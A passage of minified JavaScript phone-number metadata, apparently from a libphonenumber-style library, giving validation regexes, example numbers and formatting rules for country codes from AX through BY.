,,,,,,[5,6,7,8,9,10,11,12]],[,,"18[1-8]\\d{3,6}",,,,"181234567",,,[6,7,8,9]],[,,"4946\\d{2,6}|(?:4[0-8]|50)\\d{4,8}",,,,"412345678",,,[6,7,8,9,10]],[,,"800\\d{4,6}",,,,"800123456",,,[7,8,9]],[,,"[67]00\\d{5,6}",,,,"600123456",,,[8,9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"AX",358,"00|99(?:[01469]|5(?:[14]1|3[23]|5[59]|77|88|9[09]))","0",,,"0",,"00",,,,[,,,,,,,,,[-1]],,"18",[,,,,,,,,,[-1]],[,,"20\\d{4,8}|60[12]\\d{5,6}|7(?:099\\d{4,5}|5[03-9]\\d{3,7})|20[2-59]\\d\\d|(?:606|7(?:0[78]|1|3\\d))\\d{7}|(?:10|29|3[09]|70[1-5]\\d)\\d{4,8}",
,,,"10112345"],,,[,,,,,,,,,[-1]]],AZ:[,[,,"365\\d{6}|(?:[124579]\\d|60|88)\\d{7}",,,,,,,[9],[7]],[,,"(?:2[12]428|3655[02])\\d{4}|(?:2(?:22[0-79]|63[0-28])|3654)\\d{5}|(?:(?:1[28]|46)\\d|2(?:[014-6]2|[23]3))\\d{6}",,,,"123123456",,,,[7]],[,,"36554\\d{4}|(?:[16]0|4[04]|5[015]|7[07]|99)\\d{7}",,,,"401234567"],[,,"88\\d{7}",,,,"881234567"],[,,"900200\\d{3}",,,,"900200123"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"AZ",994,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",["[1-9]"]],[,
"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["90"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["1[28]|2|365|46","1[28]|2|365[45]|46","1[28]|2|365(?:4|5[02])|46"],"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[13-9]"],"0$1"]],[[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["90"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["1[28]|2|365|46","1[28]|2|365[45]|46","1[28]|2|365(?:4|5[02])|46"],"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",
["[13-9]"],"0$1"]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BA:[,[,,"6\\d{8}|(?:[35689]\\d|49|70)\\d{6}",,,,,,,[8,9],[6]],[,,"(?:3(?:[05-79][2-9]|1[4579]|[23][24-9]|4[2-4689]|8[2457-9])|49[2-579]|5(?:0[2-49]|[13][2-9]|[268][2-4679]|4[4689]|5[2-79]|7[2-69]|9[2-4689]))\\d{5}",,,,"30212345",,,[8],[6]],[,,"6040\\d{5}|6(?:03|[1-356]|44|7\\d)\\d{6}",,,,"61123456"],[,,"8[08]\\d{6}",,,,"80123456",,,[8]],[,,"9[0246]\\d{6}",,,,"90123456",,,[8]],[,,"8[12]\\d{6}",,,,"82123456",,,[8]],
[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BA",387,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3})","$1-$2",["[2-9]"]],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["6[1-3]|[7-9]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2-$3",["[3-5]|6[56]"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["6"],"0$1"]],[[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["6[1-3]|[7-9]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2-$3",["[3-5]|6[56]"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["6"],"0$1"]],[,,,,,,,,,[-1]],
,,[,,,,,,,,,[-1]],[,,"703[235]0\\d{3}|70(?:2[0-5]|3[0146]|[56]0)\\d{4}",,,,"70341234",,,[8]],,,[,,,,,,,,,[-1]]],BB:[,[,,"(?:246|[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"246521[0369]\\d{3}|246(?:2(?:2[78]|7[0-4])|4(?:1[024-6]|2\\d|3[2-9])|5(?:20|[34]\\d|54|7[1-3])|6(?:2\\d|38)|7[35]7|9(?:1[89]|63))\\d{4}",,,,"2464123456",,,,[7]],[,,"246(?:(?:2(?:[3568]\\d|4[0-57-9])|3(?:5[2-9]|6[0-6])|4(?:46|5\\d)|69[5-7]|8(?:[2-5]\\d|83))\\d|52(?:1[147]|20))\\d{3}",,,,"2462501234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",
,,,"8002123456"],[,,"(?:246976|900[2-9]\\d\\d)\\d{4}",,,,"9002123456",,,,[7]],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,"24631\\d{5}",,,,"2463101234",,,,[7]],"BB",1,"011","1",,,"([2-9]\\d{6})$|1","246$1",,,,,[,,,,,,,,,[-1]],,"246",[,,,,,,,,,[-1]],[,,"246(?:292|367|4(?:1[7-9]|3[01]|4[47-9]|67)|7(?:1[2-9]|2\\d|3[016]|53))\\d{4}",
,,,"2464301234",,,,[7]],,,[,,,,,,,,,[-1]]],BD:[,[,,"[1-469]\\d{9}|8[0-79]\\d{7,8}|[2-79]\\d{8}|[2-9]\\d{7}|[3-9]\\d{6}|[57-9]\\d{5}",,,,,,,[6,7,8,9,10]],[,,"(?:4(?:31\\d\\d|423)|5222)\\d{3}(?:\\d{2})?|8332[6-9]\\d\\d|(?:3(?:03[56]|224)|4(?:22[25]|653))\\d{3,4}|(?:3(?:42[47]|529|823)|4(?:027|525|65(?:28|8))|562|6257|7(?:1(?:5[3-5]|6[12]|7[156]|89)|22[589]56|32|42675|52(?:[25689](?:56|8)|[347]8)|71(?:6[1267]|75|89)|92374)|82(?:2[59]|32)56|9(?:03[23]56|23(?:256|373)|31|5(?:1|2[4589]56)))\\d{3}|(?:3(?:02[348]|22[35]|324|422)|4(?:22[67]|32[236-9]|6(?:2[46]|5[57])|953)|5526|6(?:024|6655)|81)\\d{4,5}|(?:2(?:7(?:1[0-267]|2[0-289]|3[0-29]|4[01]|5[1-3]|6[013]|7[0178]|91)|8(?:0[125]|1[1-6]|2[0157-9]|3[1-69]|41|6[1-35]|7[1-5]|8[1-8]|9[0-6])|9(?:0[0-2]|1[0-4]|2[568]|3[3-6]|5[5-7]|6[0136-9]|7[0-7]|8[014-9]))|3(?:0(?:2[025-79]|3[2-4])|181|22[12]|32[2356]|824)|4(?:02[09]|22[348]|32[045]|523|6(?:27|54))|666(?:22|53)|7(?:22[57-9]|42[56]|82[35])8|8(?:0[124-9]|2(?:181|2[02-4679]8)|4[12]|[5-7]2)|9(?:[04]2|2(?:2|328)|81))\\d{4}|(?:2(?:[23]\\d|[45])\\d\\d|3(?:1(?:2[5-7]|[5-7])|425|822)|4(?:033|1\\d|[257]1|332|4(?:2[246]|5[25])|6(?:2[35]|56|62)|8(?:23|54)|92[2-5])|5(?:02[03489]|22[457]|32[35-79]|42[46]|6(?:[18]|53)|724|826)|6(?:023|2(?:2[2-5]|5[3-5]|8)|32[3478]|42[34]|52[47]|6(?:[18]|6(?:2[34]|5[24]))|[78]2[2-5]|92[2-6])|7(?:02|21\\d|[3-589]1|6[12]|72[24])|8(?:217|3[12]|[5-7]1)|9[24]1)\\d{5}|(?:(?:3[2-8]|5[2-57-9]|6[03-589])1|4[4689][18])\\d{5}|[59]1\\d{5}",
,,,"27111234"],[,,"(?:1[13-9]\\d|644)\\d{7}|(?:3[78]|44|66)[02-9]\\d{7}",,,,"1812345678",,,[10]],[,,"80[03]\\d{7}",,,,"8001234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"96(?:0[469]|1[0-47]|3[389]|43|6[69]|7[78])\\d{6}",,,,"9604123456",,,[10]],"BD",880,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{4,6})","$1-$2",["31[5-8]|[459]1"],"0$1"],[,"(\\d{3})(\\d{3,7})","$1-$2",["3(?:[67]|8[013-9])|4(?:6[168]|7|[89][18])|5(?:6[128]|9)|6(?:[15]|28|4[14])|7[2-589]|8(?:0[014-9]|[12])|9[358]|(?:3[2-5]|4[235]|5[2-578]|6[0389]|76|8[3-7]|9[24])1|(?:44|66)[01346-9]"],
"0$1"],[,"(\\d{4})(\\d{3,6})","$1-$2",["[13-9]|2[23]"],"0$1"],[,"(\\d)(\\d{7,8})","$1-$2",["2"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BE:[,[,,"4\\d{8}|[1-9]\\d{7}",,,,,,,[8,9]],[,,"80[2-8]\\d{5}|(?:1[0-69]|[23][2-8]|4[23]|5\\d|6[013-57-9]|71|8[1-79]|9[2-4])\\d{6}",,,,"12345678",,,[8]],[,,"4[5-9]\\d{7}",,,,"470123456",,,[9]],[,,"800[1-9]\\d{4}",,,,"80012345",,,[8]],[,,"(?:70(?:2[0-57]|3[04-7]|44|6[4-69]|7[0579])|90\\d\\d)\\d{4}",,,,"90012345",,,[8]],[,,"7879\\d{4}",
,,,"78791234",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BE",32,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["(?:80|9)0"],"0$1"],[,"(\\d)(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[239]|4[23]"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[15-8]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["4"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"78(?:0[57]|1[014-8]|2[25]|3[15-8]|48|[56]0|7[06-8]|9\\d)\\d{4}",,,,"78102345",,,[8]],,,[,,,,,,,,,[-1]]],BF:[,[,,"[025-7]\\d{7}",
,,,,,,[8]],[,,"2(?:0(?:49|5[23]|6[5-7]|9[016-9])|4(?:4[569]|5[4-6]|6[5-7]|7[0179])|5(?:[34]\\d|50|6[5-7]))\\d{4}",,,,"20491234"],[,,"(?:0[1-7]|5[0-8]|[67]\\d)\\d{6}",,,,"70123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BF",226,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[025-7]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BG:[,[,,"00800\\d{7}|[2-7]\\d{6,7}|[89]\\d{6,8}|2\\d{5}",,,,,,,[6,7,8,9,12],[4,5]],
[,,"2\\d{5,7}|(?:43[1-6]|70[1-9])\\d{4,5}|(?:[36]\\d|4[124-7]|[57][1-9]|8[1-6]|9[1-7])\\d{5,6}",,,,"2123456",,,[6,7,8],[4,5]],[,,"(?:43[07-9]|99[69]\\d)\\d{5}|(?:8[7-9]|98)\\d{7}",,,,"43012345",,,[8,9]],[,,"(?:00800\\d\\d|800)\\d{5}",,,,"80012345",,,[8,12]],[,,"90\\d{6}",,,,"90123456",,,[8]],[,,"700\\d{5}",,,,"70012345",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BG",359,"00","0",,,"0",,,,[[,"(\\d{6})","$1",["1"]],[,"(\\d)(\\d)(\\d{2})(\\d{2})","$1 $2 $3 $4",["2"],"0$1"],[,"(\\d{3})(\\d{4})","$1 $2",
["43[1-6]|70[1-9]"],"0$1"],[,"(\\d)(\\d{3})(\\d{3,4})","$1 $2 $3",["2"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2,3})","$1 $2 $3",["[356]|4[124-7]|7[1-9]|8[1-6]|9[1-7]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["(?:70|8)0"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3",["43[1-7]|7"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[48]|9[08]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["9"],"0$1"]],[[,"(\\d)(\\d)(\\d{2})(\\d{2})","$1 $2 $3 $4",["2"],"0$1"],[,"(\\d{3})(\\d{4})","$1 $2",["43[1-6]|70[1-9]"],
"0$1"],[,"(\\d)(\\d{3})(\\d{3,4})","$1 $2 $3",["2"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2,3})","$1 $2 $3",["[356]|4[124-7]|7[1-9]|8[1-6]|9[1-7]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["(?:70|8)0"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3",["43[1-7]|7"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[48]|9[08]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["9"],"0$1"]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BH:[,[,,"[136-9]\\d{7}",,,,,,,[8]],[,,"(?:1(?:3[1356]|6[0156]|7\\d)\\d|6(?:1[16]\\d|500|6(?:0\\d|3[12]|44|55|7[7-9]|88)|9[69][69])|7(?:[07]\\d\\d|1(?:11|78)))\\d{4}",
,,,"17001234"],[,,"(?:3(?:[0-79]\\d|8[0-57-9])\\d|6(?:3(?:00|33|6[16])|441|6(?:3[03-9]|[69]\\d|7[0-689])))\\d{4}",,,,"36001234"],[,,"8[02369]\\d{6}",,,,"80123456"],[,,"(?:87|9[0-8])\\d{6}",,,,"90123456"],[,,"84\\d{6}",,,,"84123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BH",973,"00",,,,,,,,[[,"(\\d{4})(\\d{4})","$1 $2",["[13679]|8[02-4679]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BI:[,[,,"(?:[267]\\d|31)\\d{6}",,,,,,,[8]],[,,"(?:22|31)\\d{6}",,,,"22201234"],[,,"(?:29|[67][125-9])\\d{6}",
,,,"79561234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BI",257,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2367]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BJ:[,[,,"[24-689]\\d{7}",,,,,,,[8]],[,,"2090\\d{4}|2(?:02|1[037]|2[45]|3[68]|4\\d)\\d{5}",,,,"20211234"],[,,"(?:4[0-8]|[56]\\d|9[013-9])\\d{6}",,,,"90011234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"857[58]\\d{4}",,,,"85751234"],
"BJ",229,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[24-689]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"81\\d{6}",,,,"81123456"],,,[,,,,,,,,,[-1]]],BL:[,[,,"590\\d{6}|(?:69|80|9\\d)\\d{7}",,,,,,,[9]],[,,"590(?:2[7-9]|3[3-7]|5[12]|87)\\d{4}",,,,"590271234"],[,,"69(?:0\\d\\d|1(?:2[2-9]|3[0-5])|4(?:0[89]|1[2-6]|9\\d)|6(?:1[016-9]|5[0-4]|[67]\\d))\\d{4}",,,,"690001234"],[,,"80[0-5]\\d{6}",,,,"800012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"9(?:(?:39[5-7]|76[018])\\d|475[0-5])\\d{4}",
,,,"976012345"],"BL",590,"00","0",,,"0",,,,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BM:[,[,,"(?:441|[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"441(?:[46]\\d\\d|5(?:4\\d|60|89))\\d{4}",,,,"4414123456",,,,[7]],[,,"441(?:[2378]\\d|5[0-39]|9[02])\\d{5}",,,,"4413701234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,,,,,,,,[-1]],"BM",1,"011","1",,,"([2-9]\\d{6})$|1","441$1",,,,,[,,,,,,,,,[-1]],,"441",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BN:[,[,,"[2-578]\\d{6}",,,,,,,[7]],[,,"22[0-7]\\d{4}|(?:2[013-9]|[34]\\d|5[0-25-9])\\d{5}",,,,"2345678"],[,,"(?:22[89]|[78]\\d\\d)\\d{4}",,,,"7123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"5[34]\\d{5}",,,,"5345678"],"BN",673,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[2-578]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],
[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BO:[,[,,"8001\\d{5}|(?:[2-467]\\d|50)\\d{6}",,,,,,,[8,9],[7]],[,,"(?:2(?:2\\d\\d|5(?:11|[258]\\d|9[67])|6(?:12|2\\d|9[34])|8(?:2[34]|39|62))|3(?:3\\d\\d|4(?:6\\d|8[24])|8(?:25|42|5[257]|86|9[25])|9(?:[27]\\d|3[2-4]|4[248]|5[24]|6[2-6]))|4(?:4\\d\\d|6(?:11|[24689]\\d|72)))\\d{4}",,,,"22123456",,,[8],[7]],[,,"[67]\\d{7}",,,,"71234567",,,[8]],[,,"8001[07]\\d{4}",,,,"800171234",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"50\\d{6}",,,,"50123456",,,[8],
[7]],"BO",591,"00(?:1\\d)?","0",,,"0(1\\d)?",,,,[[,"(\\d)(\\d{7})","$1 $2",["[235]|4[46]"],,"0$CC $1"],[,"(\\d{8})","$1",["[67]"],,"0$CC $1"],[,"(\\d{3})(\\d{2})(\\d{4})","$1 $2 $3",["8"],,"0$CC $1"]],,[,,,,,,,,,[-1]],,,[,,"8001[07]\\d{4}",,,,,,,[9]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BQ:[,[,,"(?:[34]1|7\\d)\\d{5}",,,,,,,[7]],[,,"(?:318[023]|41(?:6[023]|70)|7(?:1[578]|2[05]|50)\\d)\\d{3}",,,,"7151234"],[,,"(?:31(?:8[14-8]|9[14578])|416[14-9]|7(?:0[01]|7[07]|8\\d|9[056])\\d)\\d{3}",,,,"3181234"],[,
,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BQ",599,"00",,,,,,,,,,[,,,,,,,,,[-1]],,"[347]",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BR:[,[,,"(?:[1-46-9]\\d\\d|5(?:[0-46-9]\\d|5[0-46-9]))\\d{8}|[1-9]\\d{9}|[3589]\\d{8}|[34]\\d{7}",,,,,,,[8,9,10,11]],[,,"(?:[14689][1-9]|2[12478]|3[1-578]|5[13-5]|7[13-579])[2-5]\\d{7}",,,,"1123456789",,,[10],[8]],[,,"(?:[14689][1-9]|2[12478]|3[1-578]|5[13-5]|7[13-579])(?:7|9\\d)\\d{7}",,,,"11961234567",,,[10,11],[8,9]],[,
,"800\\d{6,7}",,,,"800123456",,,[9,10]],[,,"300\\d{6}|[59]00\\d{6,7}",,,,"300123456",,,[9,10]],[,,"(?:30[03]\\d{3}|4(?:0(?:0\\d|20)|370))\\d{4}|300\\d{5}",,,,"40041234",,,[8,10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BR",55,"00(?:1[245]|2[1-35]|31|4[13]|[56]5|99)","0",,,"(?:0|90)(?:(1[245]|2[1-35]|31|4[13]|[56]5|99)(\\d{10,11}))?","$2",,,[[,"(\\d{3,6})","$1",["1(?:1[25-8]|2[357-9]|3[02-68]|4[12568]|5|6[0-8]|8[015]|9[0-47-9])|321|610"]],[,"(\\d{4})(\\d{4})","$1-$2",["300|4(?:0[02]|37)","4(?:02|37)0|[34]00"]],
[,"(\\d{4})(\\d{4})","$1-$2",["[2-57]","[2357]|4(?:[0-24-9]|3(?:[0-689]|7[1-9]))"]],[,"(\\d{3})(\\d{2,3})(\\d{4})","$1 $2 $3",["(?:[358]|90)0"],"0$1"],[,"(\\d{5})(\\d{4})","$1-$2",["9"]],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2-$3",["(?:[14689][1-9]|2[12478]|3[1-578]|5[13-5]|7[13-579])[2-57]"],"($1)","0 $CC ($1)"],[,"(\\d{2})(\\d{5})(\\d{4})","$1 $2-$3",["[16][1-9]|[2-57-9]"],"($1)","0 $CC ($1)"]],[[,"(\\d{4})(\\d{4})","$1-$2",["300|4(?:0[02]|37)","4(?:02|37)0|[34]00"]],[,"(\\d{3})(\\d{2,3})(\\d{4})",
"$1 $2 $3",["(?:[358]|90)0"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2-$3",["(?:[14689][1-9]|2[12478]|3[1-578]|5[13-5]|7[13-579])[2-57]"],"($1)","0 $CC ($1)"],[,"(\\d{2})(\\d{5})(\\d{4})","$1 $2-$3",["[16][1-9]|[2-57-9]"],"($1)","0 $CC ($1)"]],[,,,,,,,,,[-1]],,,[,,"30(?:0\\d{5,7}|3\\d{7})|40(?:0\\d|20)\\d{4}|800\\d{6,7}",,,,,,,[8,9,10]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BS:[,[,,"(?:242|[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"242(?:3(?:02|[236][1-9]|4[0-24-9]|5[0-68]|7[347]|8[0-4]|9[2-467])|461|502|6(?:0[1-5]|12|2[013]|[45]0|7[67]|8[78]|9[89])|7(?:02|88))\\d{4}",
,,,"2423456789",,,,[7]],[,,"242(?:3(?:5[79]|7[56]|95)|4(?:[23][1-9]|4[1-35-9]|5[1-8]|6[2-8]|7\\d|81)|5(?:2[45]|3[35]|44|5[1-46-9]|65|77)|6[34]6|7(?:27|38)|8(?:0[1-9]|1[02-9]|2\\d|3[0-4]|[89]9))\\d{4}",,,,"2423591234",,,,[7]],[,,"242300\\d{4}|8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456",,,,[7]],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,,,,,,,,[-1]],"BS",1,"011","1",,,"([3-8]\\d{6})$|1","242$1",,,,,[,,,,,,,,,[-1]],,"242",[,,,,,,,,,[-1]],[,,"242225\\d{4}",,,,"2422250123"],,,[,,,,,,,,,[-1]]],BT:[,[,,"[17]\\d{7}|[2-8]\\d{6}",,,,,,,[7,8],[6]],[,,"(?:2[3-6]|[34][5-7]|5[236]|6[2-46]|7[246]|8[2-4])\\d{5}",,,,"2345678",,,[7],[6]],[,,"(?:1[67]|77)\\d{6}",,,,"17123456",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BT",975,"00",,,,,,,,[[,"(\\d{3})(\\d{3})","$1 $2",["[2-7]"]],[,"(\\d)(\\d{3})(\\d{3})",
"$1 $2 $3",["[2-68]|7[246]"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["1[67]|7"]]],[[,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[2-68]|7[246]"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["1[67]|7"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BW:[,[,,"(?:0800|(?:[37]|800)\\d)\\d{6}|(?:[2-6]\\d|90)\\d{5}",,,,,,,[7,8,10]],[,,"(?:2(?:4[0-48]|6[0-24]|9[0578])|3(?:1[0-35-9]|55|[69]\\d|7[013]|81)|4(?:6[03]|7[1267]|9[0-5])|5(?:3[03489]|4[0489]|7[1-47]|88|9[0-49])|6(?:2[1-35]|5[149]|8[013467]))\\d{4}",
,,,"2401234",,,[7]],[,,"(?:321|7[1-8]\\d)\\d{5}",,,,"71123456",,,[8]],[,,"(?:0800|800\\d)\\d{6}",,,,"0800012345",,,[10]],[,,"90\\d{5}",,,,"9012345",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"79(?:1(?:[0-2]\\d|3[0-3])|2[0-7]\\d)\\d{3}",,,,"79101234",,,[8]],"BW",267,"00",,,,,,,,[[,"(\\d{2})(\\d{5})","$1 $2",["90"]],[,"(\\d{3})(\\d{4})","$1 $2",["[24-6]|3[15-9]"]],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[37]"]],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["0"]],[,"(\\d{3})(\\d{4})(\\d{3})","$1 $2 $3",
["8"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BY:[,[,,"(?:[12]\\d|33|44|902)\\d{7}|8(?:0[0-79]\\d{5,7}|[1-7]\\d{9})|8(?:1[0-489]|[5-79]\\d)\\d{7}|8[1-79]\\d{6,7}|8[0-79]\\d{5}|8\\d{5}",,,,,,,[6,7,8,9,10,11],[5]],[,,"(?:1(?:5(?:1[1-5]|[24]\\d|6[2-4]|9[1-7])|6(?:[235]\\d|4[1-7])|7\\d\\d)|2(?:1(?:[246]\\d|3[0-35-9]|5[1-9])|2(?:[235]\\d|4[0-8])|3(?:[26]\\d|3[02-79]|4[024-7]|5[03-7])))\\d{5}",,,,"152450911",,,[9],[5,6,7]],[,,"(?:2(?:5[5-79]|9[1-9])|(?:33|44)\\d)\\d{6}",
,,,"294911911",,,[9]],[,,"800\\d{3,7}|8(?:0[13]|20\\d)\\d{7}",,,,"8011234567"],[,,"(?:810|902)\\d{7}",,,,"9021234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"249\\d{6}",,,,"249123456",,,[9]],"BY",375,"810","8",,,"0|80?",,"8~10",,[[,"(\\d{3})(\\d{3})","$1 $2",["800"],"8 $1"],[,"(\\d{3})(\\d{2})(\\d{2,4})","$1 $2 $3",["800"],"8 $1"],[,"(\\d{4})(\\d{2})(\\d{3})","$1 $2-$3",["1(?:5[169]|6[3-5]|7[179])|2(?:1[35]|2[34]|3[3-5])","1(?:5[169]|6(?:3[1-3]|4|5[125])|7(?:1[3-9]|7[0-24-6]|9[2-7]))|2(?:1[35]|2[34]|3[3-5])"],
